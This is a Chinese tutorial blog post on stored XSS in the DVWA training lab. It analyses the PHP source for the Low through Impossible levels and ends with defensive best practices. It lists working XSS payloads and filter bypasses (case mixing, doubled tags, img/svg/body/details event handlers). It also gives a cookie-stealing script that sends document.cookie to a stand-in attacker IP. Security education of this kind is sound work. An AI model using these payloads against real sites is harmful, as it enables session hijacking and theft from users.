DVWA从入门到精通(十一):XSS (Stored)(存储型XSS)
摘要本文是《DVWA从入门到精通》系列的第十一篇带你全面掌握XSS (Stored)存储型XSS模块的攻防全流程。从存储型XSS的核心原理出发逐步讲解Low、Medium、High三个级别的攻击手法与源码分析并深入探讨Impossible级别的终极防御方案。文章包含存储型XSS与反射型XSS的深度对比、htmlspecialchars()与str_replace()的防御差异、大小写混淆与双写绕过、img标签事件注入、正则表达式绕过以及htmlspecialchars()全面转义与参数化查询等企业级防御策略让你真正做到“知其然更知其所以然”。一、什么是存储型XSS1.1 存储型XSS的核心原理存储型XSSStored Cross-Site Scripting又称持久型XSS是跨站脚本攻击中危害最大的一种类型。攻击者将恶意脚本代码永久性地存储在目标服务器上如数据库、文件系统等当其他用户访问受影响的页面时恶意脚本会从服务器返回并在用户的浏览器中执行。用一个生活化的例子来理解想象你在一个小区的水井旁贴了一张告示“本水井水质优良欢迎饮用。”小区居民都看到了正常打水喝。有一天一个坏人偷偷在水井旁边的告示栏里永久粘贴了一张纸条上面写着“如果你喝了这口井的水请把家里的钱放到小区门口的信箱里。”这张纸条一直贴在那里每个来打水的人都会看到然后莫名其妙地照做了——这就是存储型XSS。攻击者不是把恶意代码藏在URL链接里让你点击而是直接把恶意代码写进了网站的数据库里。每个访问这个页面的用户都会从数据库加载这段恶意代码并执行。1.2 存储型XSS vs 反射型XSS存储型XSS与反射型XSS虽然都属于XSS攻击但在多个维度上有本质区别对比维度存储型XSS反射型XSS攻击向量存储恶意脚本存储在目标服务器如数据库恶意脚本仅在URL参数中不存储在服务器触发条件受害者访问包含恶意脚本的页面即可触发受害者点击特制链接或提交含恶意代码的表单持久性长期有效直到内容被管理员删除单次有效仅当前请求-响应周期生效传播范围影响所有访问该页面的用户仅影响点击链接的特定用户典型场景评论区、留言板、用户资料等搜索结果、错误提示、登录表单反馈等危害程度极高可造成蠕虫、大规模Cookie窃取中等依赖用户点击防御重点严格过滤用户输入并转义输出内容对URL参数等外部输入进行严格校验和编码存储型XSS就像攻击者在网站的水源里下了毒所有后续来喝水的用户都会中招。而反射型XSS则像一把需要你亲手递给攻击者的刀攻击链依赖用户点击一个精心构造的恶意链接。1.3 存储型XSS的危害由于恶意脚本被持久化存储在服务器上存储型XSS的危害性和影响范围远超反射型XSS危害说明窃取Cookie获取用户的登录凭证劫持用户会话大规模攻击所有访问页面的用户都会中招影响面极广XSS蠕虫恶意脚本可自动传播形成蠕虫效应持久化控制脚本长期存在于服务器可反复利用配合CSRF攻击结合CSRF进行更复杂的攻击键盘记录记录用户在页面上的所有输入二、准备工作2.1 靶场环境确保DVWA已部署并正常运行访问地址http://你的服务器IP/dvwa/login.php使用admin/password登录2.2 必备工具工具用途浏览器Chrome/Firefox访问靶场F12开发者工具查看页面源码和修改前端限制Burp Suite抓包分析、修改请求参数、绕过前端长度限制2.3 基础知识储备理解JavaScript的基本语法了解HTML标签script、img、svg、a等了解PHP的htmlspecialchars()、str_replace()、preg_replace()等函数三、Low级别毫无防护的“裸奔”状态3.1 安全级别设置将DVWA Security设置为Low级别然后进入XSS (Stored)模块。3.2 界面观察XSS (Stored)模块模拟了一个留言板系统包含两个输入字段Name姓名用于输入留言者的名字Message消息用于输入留言内容页面下方显示所有历史留言。用户提交的内容会立即显示在留言板上并且刷新页面后仍然存在——说明数据被存储到了数据库中。3.3 源码分析点击页面顶部的“View Source”按钮查看Low级别的核心代码?php if( isset( $_POST[ btnSign ] ) ) { // Get input $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); // Sanitize message input $message stripslashes( $message ); $message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // Sanitize name input $name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // Update database $query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); //mysql_close(); } ?这段代码存在致命的存储型XSS漏洞缺陷说明无XSS过滤对用户输入只做了trim()和SQL注入转义没有任何XSS相关的过滤或转义直接存入数据库恶意脚本被原样存入数据库输出时无转义从数据库读取并显示到页面时没有进行HTML实体编码仅防御SQL注入mysqli_real_escape_string()只防御SQL注入对XSS完全无效3.4 攻击方法直接注入恶意脚本由于Low级别没有任何XSS防护攻击者可以直接在输入框中注入JavaScript代码。第一步在Message框中注入Payload在Message输入框中输入scriptalert(/XSS/)/script在Name输入框中随意输入如“test”点击“Sign Guestbook”提交。页面立即弹出弹窗显示“/XSS/”。第二步验证持久性刷新页面——弹窗再次出现这说明恶意脚本已经被永久存储在数据库中每次加载页面都会执行。第三步查看页面源码右键查看页面源代码可以看到恶意代码被直接插入到了HTML中div idguestbook_comments div idcom_1 namecom_1 strongtest/strongbr / scriptalert(/XSS/)/script /div /div常用PayloadPayload效果scriptalert(1)/script弹出数字1scriptalert(/XSS/)/script弹出“/XSS/”scriptalert(document.cookie)/script弹出当前用户的Cookiescriptalert(hack)/script弹出“hack”3.5 Low级别总结缺陷说明无任何XSS过滤用户输入直接存入数据库输出时无转义恶意脚本直接在浏览器中执行持久化存储恶意代码长期存在于服务器高危漏洞所有访问留言板的用户都会中招四、Medium级别htmlspecialchars()与str_replace()的“混合防御”4.1 安全级别设置将DVWA Security切换为Medium级别。4.2 观察变化在Medium级别下尝试在Message框中输入Low级别的Payloadscriptalert(/XSS/)/script发现弹窗没有出现——脚本被原样显示为文本了。但在Name框中尝试同样的Payload发现弹窗出现了这说明Message框和Name框使用了不同的防御方式。4.3 源码分析查看Medium级别的核心代码?php if( isset( $_POST[ btnSign ] ) ) { // Get input $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); // Sanitize message input $message strip_tags( addslashes( $message ) ); $message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $message htmlspecialchars( $message ); // Sanitize name input $name str_replace( script, , $name ); $name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // Update database $query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); //mysql_close(); } ?Medium级别的变化字段防御方式安全性Messagehtmlspecialchars()✅ 安全特殊字符被转为HTML实体Namestr_replace( script, , $name )❌ 不安全仅过滤小写scripthtmlspecialchars()会将、、、、等特殊字符转换为HTML实体浏览器会将其显示为普通文本而不是解析为HTML标签。因此Message框的XSS基本不可能。但对于Name框只使用了str_replace()简单过滤了script标签。str_replace()区分大小写且只过滤单一标签。4.4 攻击方法绕过Name框的str_replace()过滤由于Name框只过滤了小写的script标签攻击者可以使用多种方法绕过方法一大小写混淆绕过JavaScript不区分大小写而str_replace()区分大小写。在Name框中输入需要先用Burp Suite或修改前端maxlength绕过长度限制详见下文ScRiptalert(/XSS/)/ScRipt提交后成功弹窗。方法二双写绕过由于str_replace()只替换一次可以通过双写绕过scrscriptiptalert(/XSS/)/script过滤后script被移除剩下的部分重新组合成scriptalert(/XSS/)/script。方法三使用不带script标签的Payloadstr_replace()只过滤script标签其他HTML标签不受影响img srcx onerroralert(/XSS/)当图片加载失败时onerror事件触发执行JavaScript代码。方法四使用SVG标签svg/onloadalert(XSS)SVG图形加载完成时触发onload事件。方法五使用JavaScript伪协议a hrefjavascript:alert(Hacked)点击领奖/a用户点击链接时执行JavaScript代码。4.5 绕过前端长度限制在Medium级别中Name输入框在前端设置了maxlength10的限制无法直接输入完整的Payload。绕过方法一浏览器开发者工具修改右键点击Name输入框选择“检查”Inspect在Elements面板中找到maxlength10属性将其修改为更大的值如100或直接删除该属性。!-- 修改前 -- input typetext nametxtName maxlength10 !-- 修改后 -- input typetext nametxtName maxlength100绕过方法二使用Burp Suite抓包修改配置好Burp Suite代理拦截提交请求直接修改txtName参数的值。POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1 Host: 靶机IP ... txtNameScRiptalert(/XSS/)/ScRiptmtxMessagetestbtnSignSignGuestbook4.6 Medium级别总结字段防御方式安全性绕过方法Messagehtmlspecialchars()✅ 安全基本无法绕过Namestr_replace()过滤script❌ 不安全大小写混淆、双写、其他标签Medium级别的核心问题是对同一应用的不同输入字段使用了不同强度的防御措施。Message框使用了正确的防御方式htmlspecialchars()但Name框仍然使用脆弱的黑名单过滤形成了防御的“短板”。攻击者只需要找到最薄弱的一环即可突破。五、High级别正则表达式的“加强过滤”5.1 安全级别设置将DVWA Security切换为High级别。5.2 观察变化在High级别下尝试Medium级别的各种绕过方法大小写混淆、双写等发现大部分被阻止了——Name框对script的各种变形都进行了过滤。5.3 源码分析查看High级别的核心代码?php if( isset( $_POST[ btnSign ] ) ) { // Get input $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); // Sanitize message input $message strip_tags( addslashes( $message ) ); $message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $message htmlspecialchars( $message ); // Sanitize name input $name preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $name ); $name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); // Update database $query INSERT INTO guestbook ( comment, name ) VALUES ( $message, $name );; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre . ((is_object($GLOBALS[___mysqli_ston])) ? mysqli_error($GLOBALS[___mysqli_ston]) : (($___mysqli_res mysqli_connect_error()) ? $___mysqli_res : false)) . /pre ); //mysql_close(); } ?High级别的变化字段防御方式安全性Messagehtmlspecialchars()✅ 安全Namepreg_replace()正则过滤⚠️ 比Medium强但仍有漏洞High级别对Name框使用了正则表达式进行过滤preg_replace( /(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i, , $name )这个正则表达式可以匹配script的各种变形且末尾的i表示不区分大小写因此大小写混淆不再有效。5.4 正则表达式的局限High级别的正则表达式虽然比Medium更强但仍然存在局限问题说明仅针对script标签只过滤script标签其他标签不受影响黑名单思维仍然属于黑名单过滤总有遗漏未使用HTML转义Name框输出时仍然没有使用htmlspecialchars()5.5 攻击方法使用非script标签注入由于High级别的正则表达式只过滤script标签攻击者可以使用其他HTML标签的事件属性来执行JavaScript代码。方法一img标签的onerror事件在Name框中输入同样需要绕过前端长度限制img src1 onerroralert(/XSS/)当浏览器尝试加载src1一个不存在的图片时触发onerror事件执行JavaScript代码。方法二body标签的onload事件body onloadalert(/XSS/)页面加载时触发onload事件。方法三svg标签的onload事件svg onloadalert(/XSS/)SVG图形加载完成时触发onload事件。方法四details标签的ontoggle事件details ontogglealert(/XSS/)点击展开/details用户点击展开详情时触发ontoggle事件。5.6 数据库长度限制的注意事项在High级别中Name字段在数据库中可能也有长度限制如100个字符。如果Payload过长可能会被数据库截断导致攻击失败。需要注意Payload的长度控制。5.7 High级别总结防御机制作用绕过方法正则表达式过滤script过滤script的各种变形大小写、嵌套等使用非script标签img、svg等htmlspecialchars()处理Message安全无法绕过黑名单机制过滤特定标签总有遗漏的标签或事件属性六、Impossible级别终极防御方案6.1 安全级别设置将DVWA Security切换为Impossible级别。6.2 源码分析查看Impossible级别的核心代码?php if( isset( $_POST[ btnSign ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ user_token ], $_SESSION[ session_token ], index.php ); // Get input $message trim( $_POST[ mtxMessage ] ); $name trim( $_POST[ txtName ] ); // Sanitize message input $message stripslashes( $message ); $message ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $message ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $message htmlspecialchars( $message ); // Sanitize name input $name stripslashes( $name ); $name ((isset($GLOBALS[___mysqli_ston]) is_object($GLOBALS[___mysqli_ston])) ? mysqli_real_escape_string($GLOBALS[___mysqli_ston], $name ) : ((trigger_error([MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work., E_USER_ERROR)) ? : )); $name htmlspecialchars( $name ); // Update database $data $db-prepare( INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name ); ); $data-bindParam( :message, $message, PDO::PARAM_STR ); $data-bindParam( :name, $name, PDO::PARAM_STR ); $data-execute(); } // Generate Anti-CSRF token generateSessionToken(); ?6.3 Impossible级别的四重防御体系Impossible级别构建了四重防御体系彻底杜绝了存储型XSS的可能性第一层CSRF Token验证使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致防止跨站请求伪造攻击。第二层htmlspecialchars()全面转义核心防御最关键的变化Name框和Message框都使用了htmlspecialchars()进行HTML实体编码$message htmlspecialchars( $message ); $name htmlspecialchars( $name );htmlspecialchars()会将以下特殊字符转换为HTML实体字符转换后说明amp;和号quot;双引号#039;单引号lt;小于号gt;大于号转换后的效果当用户输入scriptalert(/XSS/)/script时经过htmlspecialchars()处理后变成lt;scriptgt;alert(/XSS/)lt;/scriptgt;浏览器会将lt;scriptgt;显示为文本script而不会将其解析为HTML标签执行。第三层PDO预处理语句防SQL注入使用PDOPHP Data Objects预处理语句执行数据库插入$data $db-prepare( INSERT INTO guestbook (comment, name) VALUES ( :message, :name ); ); $data-bindParam( :message, $message, PDO::PARAM_STR ); $data-bindParam( :name, $name, PDO::PARAM_STR );SQL指令模板和数据分开发送无论用户输入什么特殊字符都会被严格当作普通字符串处理。第四层输入清理使用trim()去除输入首尾的空白字符。6.4 为什么Impossible级别无法被绕过要成功实施存储型XSS攻击攻击者需要满足以下条件条件Impossible级别的防护攻击者能否达成注入script标签htmlspecialchars()转义❌被转为lt;无法解析为标签注入img等标签htmlspecialchars()转义❌ 所有标签都失效注入事件属性htmlspecialchars()转义❌ 引号和尖括号被转义通过SQL注入绕过PDO预处理❌ 无法注入CSRF攻击Token验证❌ 无法伪造有效Token四重防护叠加使得存储型XSS攻击在Impossible级别下完全不可行。6.5 Impossible级别总结防御层技术手段作用第一层CSRF Token验证防止跨站请求伪造第二层htmlspecialchars()全面转义将所有特殊字符转为HTML实体彻底阻断XSS第三层PDO预处理语句防止SQL注入第四层trim()输入清理去除首尾空白字符七、存储型XSS的实战检测思路在实际的渗透测试中如何快速发现存储型XSS漏洞7.1 检测步骤寻找存储型输入点留言板、评论系统、用户资料编辑、文章发布等注入测试Payload输入scriptalert(1)/script等基础Payload观察持久性提交后是否立即执行刷新页面后是否再次执行其他用户访问时是否也会执行分析防护机制使用了什么过滤方式黑名单、正则、转义不同输入字段是否使用了不同的防护强度尝试绕过根据防护机制选择合适的绕过方法验证漏洞确认XSS攻击是否持久化生效7.2 常见绕过手法汇总防护类型绕过方法适用级别str_replace()过滤script大小写混淆ScRiPtMediumstr_replace()过滤script双写scrscriptiptMediumstr_replace()过滤script使用img、svg等其他标签Medium正则表达式过滤script使用非script标签High前端长度限制开发者工具修改maxlength或Burp Suite抓包Medium/Highhtmlspecialchars()基本无法绕过需配合其他漏洞—7.3 存储型XSS的进阶利用Cookie窃取存储型XSS最经典的利用方式是窃取Cookie。攻击步骤搭建Cookie接收服务在攻击者服务器上搭建一个接收Cookie的服务构造窃取Payloadscript var img new Image(); img.src http://攻击者IP:8000/steal?cookie document.cookie; /script提交Payload到留言板将恶意脚本存入数据库等待受害者访问当管理员或其他用户访问留言板时Cookie被发送到攻击者服务器获取Cookie攻击者获取Cookie后可以劫持用户会话八、防御存储型XSS的最佳实践通过DVWA四个级别的对比我们可以总结出防御存储型XSS的最佳实践8.1 必须实施的防御措施措施说明优先级输出编码对所有用户输入的内容使用htmlspecialchars()进行HTML实体编码⭐⭐⭐⭐⭐上下文感知转义根据输出位置HTML、属性、JavaScript使用不同的转义方式⭐⭐⭐⭐⭐输入验证白名单只允许特定格式的输入如姓名只允许字母数字⭐⭐⭐⭐⭐内容安全策略CSP限制页面可以加载和执行的脚本来源⭐⭐⭐⭐HttpOnly Cookie设置Cookie的HttpOnly属性防止JavaScript读取⭐⭐⭐⭐8.2 推荐的辅助措施措施说明优先级CSRF Token防止跨站请求伪造⭐⭐⭐⭐PDO预处理语句防止SQL注入⭐⭐⭐⭐定期安全审计对代码进行定期安全审查⭐⭐⭐输入长度限制限制输入长度减小攻击面⭐⭐8.3 常见误区在实际开发中以下做法不能有效防御存储型XSS❌仅对部分输入字段进行转义攻击者会寻找未转义的字段如Medium级别的Name框❌仅使用黑名单过滤总有遗漏的标签或属性如Medium、High级别❌仅使用str_replace()区分大小写、不递归容易被绕过❌仅使用前端验证攻击者可以绕过前端直接发请求❌混淆SQL注入防御和XSS防御mysqli_real_escape_string()对XSS完全无效8.4 正确的防御策略核心原则信任是万恶之源——永远不要信任用户输入的任何内容。正确的做法输入阶段进行白名单验证只允许预期格式的输入 存储阶段使用PDO预处理语句防止SQL注入 输出阶段使用htmlspecialchars()对所有输出进行HTML实体编码这三个环节缺一不可。DVWA的Impossible级别正是通过“输入验证 输出编码 参数化查询”的纵深防御策略从根本上杜绝了存储型XSS漏洞。九、总结本文聚焦存储型XSS漏洞展开完整学习我们明确其核心原理恶意脚本会持久存入服务器数据库所有访问页面的用户都会触发恶意代码执行危害范围与严重程度远高于反射型XSS并从存储位置、触发方式、持久性、影响人群、应用场景、风险等级六个维度对比两类XSS核心差异我们逐级实操DVWA各安全等级Low无任何过滤在留言框植入script标签后页面刷新仍会弹窗验证漏洞持久化特性Medium仅对留言内容做html实体转义用户名称输入框仅黑名单过滤小写script可通过大小写变形、标签双写、img事件标签实现绕过High依靠正则不区分大小写过滤各类script变体改用非script事件标签即可突破限制Impossible融合CSRF Token、全局htmlspecialchars转义、PDO预处理语句、trim输入清洗四层防护从输入存储到页面输出全链路阻断XSS同时梳理出统一使用htmlspecialchars做输出编码、输入内容白名单校验、配置CSP策略、Cookie开启HttpOnly等防御方案。存储型XSS是风险最高的XSS分支注入一次就能批量侵害全部访客借助DVWA存储型XSS模块我们同时掌握多种绕过攻击手法与全链路防护思路生产环境中对全部用户输入执行html实体输出编码、搭配输入白名单校验与参数化数据库查询多重防护结合可从根源消除存储型XSS安全隐患。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。